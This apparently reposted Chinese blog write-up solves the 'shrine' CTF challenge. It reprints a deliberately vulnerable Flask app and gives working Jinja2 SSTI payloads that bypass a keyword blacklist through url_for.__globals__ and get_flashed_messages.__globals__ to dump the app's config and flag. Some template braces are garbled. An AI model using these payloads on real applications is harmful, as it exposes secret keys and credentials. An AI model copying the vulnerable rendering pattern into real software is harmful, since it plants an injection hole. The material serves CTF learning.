[CTF/网络安全] 攻防世界 shrine 解题详析

[CTF/网络安全] 攻防世界 shrine 解题详析

姿势

在这里插入图片描述
格式化代码:

import flask
import os

app = flask.Flask(__name__) #创建了一个 Flask 应用对象
app.config['FLAG'] = os.environ.pop('FLAG') #设置了一个名为 FLAG 的配置项,其值来自环境变量,并将环境变量移除。

@app.route('/')
def index():
    return open(__file__).read()
    # 打开当前文件并返回其内容

@app.route('/shrine/')
def shrine(shrine): #接受一个参数 shrine,并使用 safe_jinja() 函数进行处理和渲染 Jinja2 模板
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    
    {% set {}=None %}}'.format(c) for c in blacklist]) + s 
        #替换字符串中的括号,并将黑名单中的关键字设为 None。然后使用 flask.render_template_string() 方法渲染模板。

    return flask.render_template_string(safe_jinja(shrine))
    # 渲染安全的 Jinja2 模板

if __name__ == '__main__':
    app.run(debug=True)
#在直接运行该脚本时才会执行以下的 app.run(debug=True),即运行 Flask 应用

这段代码是一个简单的 Flask 应用。它创建了一个 Flask 应用对象,并设置了一个名为 FLAG 的配置项,其值来自环境变量。然后定义了两个路由,一个用于返回当前文件的内容,另一个用于渲染 Jinja2 模板。

推测flag在名为FLAG的config中,但黑名单过滤了config,通过Jinja2联想SSTI注入

在这个程序中,/shrine/ 是定义的路由路径,会匹配到处理该路径的函数。

于是构造路径:

/shirne/{
    
    {
    
    1*1}}

回显如下:

在这里插入图片描述
说明SSTI可行


方法一

在 Flask 中,url_for 函数是定义在 Flask 的全局命名空间中的,因此可以通过访问 url_for.__globals__ 来获取 Flask 全局命名空间的内容。

在这里插入图片描述
得到current.app,由于config中包含了应用程序的配置信息,比如数据库连接字符串、密钥等。于是我们访问当前app的config,构造POC访问:

/shrine/{
    
    {
    
    url_for.__globals__['current_app'].config}}
#在 Flask 全局命名空间中访问当前应用程序的配置对象

回显如下:

在这里插入图片描述
得到flag

方法二

get_flashed_messages() 是 Flask 提供的一个函数,用于获取通过 Flask 的消息闪现机制(flash)传递给用户的消息。

在 Flask 中,闪现消息是一种临时存储的机制,允许在一个请求中传递消息给下一个请求。它通常用于在用户之间显示一次性的提示或警告消息。

Payload:

/shrine/{
    
    {
    
    get_flashed_messages.__globals__}}
# 访问全局命名空间

在这里插入图片描述

Payload:

/shrine/{
    
    {
    
    get_flashed_messages.__globals__['current_app'].config}}
#同理,访问当前app的配置文件

在这里插入图片描述
得到flag


总结

以上为[CTF/网络安全] 攻防世界 shrine 解题详析,考察Jinja2之SSTI注入。

我是秋说,我们下次见。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/131846166